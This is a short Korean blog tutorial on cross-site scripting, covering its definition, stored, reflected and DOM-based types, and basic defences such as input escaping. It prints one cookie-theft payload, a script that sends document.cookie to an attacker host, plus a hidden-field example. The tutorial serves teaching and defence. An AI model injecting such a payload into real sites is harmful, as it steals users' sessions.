끄적끄적

XSS ( Cross Site Scripting ) 본문

해킹

XSS ( Cross Site Scripting )

widruv 2016. 2. 26. 22:10
※ 무분별하게 또는 악의적으로 사용하게 되면 법적 처벌을 받을 수 있습니다. 함부로 사용하지 마세요. 

XSS

정의
  • 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점
  • 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 사이트 간 스크립팅이라고 함
  • Client Side 공격 기법 
    • 스크립트 자체는 서버에 저장되기도 하지만 실질적인 공격 행동은 서버가 아닌 클라이언트에서 이루어 짐

공격 방법
  • 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 공격이 이루어짐
  • 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타남.

공격 목적
  • 사용자의 정보(쿠키, 세션 등) 탈취
  • 자동으로 비정상적인 기능을 수행하게 함


종류

영구적 XSS ( Stored XSS )
  • 공격자가 입력한 정보가 데이터베이스에 저장됨 
  • 해당 데이터베이스를 열람하는 모든 사람이 언제든 공격받을 수 있음


비 영구적 XSS ( Reflected XSS )
  • 피해자 자신이 입력한 내용이 공격코드로 사용됨
  • 해커는 피해자의 입력 값을 조작할 수 있음
  • 특정 페이지에 접속한 당사자만이 공격의 대상이 됨

DOM 기반 XSS
  • DOM (Document Object Model )
    • HTML 문서의 모든 요소에 접근하는 방법을 정의한 API
  • DOM에서 사용하는 속성을 조작해 XSS 공격 진행
  • 서버와의 통신없이 클라이언트에서 이루어짐


Location
  • 페이지를 이동시키는 함수를 사용하여 사용자의 쿠키정보를 Attacker에게 전송하는 방법
  • <script>document.location="http://attack.co.kr/hack.php?cookie="+document.cookie</script>

Hidden
  • 사용자의 정보가 Attacker에게 전송되는 과정을 최대한 알지 못 하도록 하는 방법
  • <input name =‘asdf’ value =‘password’ type=‘hidden’>


방어 방법

  • 사용자 입력 검증 (함수 제공)
    • mysql_real_escape_string

    • htmlspecialchars

  • 외부 스크립트 실행 금지
  • 최신 브라우저에서는 대부분 기본적으로 차단





'해킹' 카테고리의 다른 글

SQL Injection  (0) 2016.02.26
CSRF ( Cross Site Request Forgery )  (0) 2016.02.26
웹 해킹 기본  (0) 2016.02.26
웹 스캐너 - (3)  (0) 2016.02.20
웹 스파이더링(or 크롤링) - (2)  (0) 2016.02.05
Comments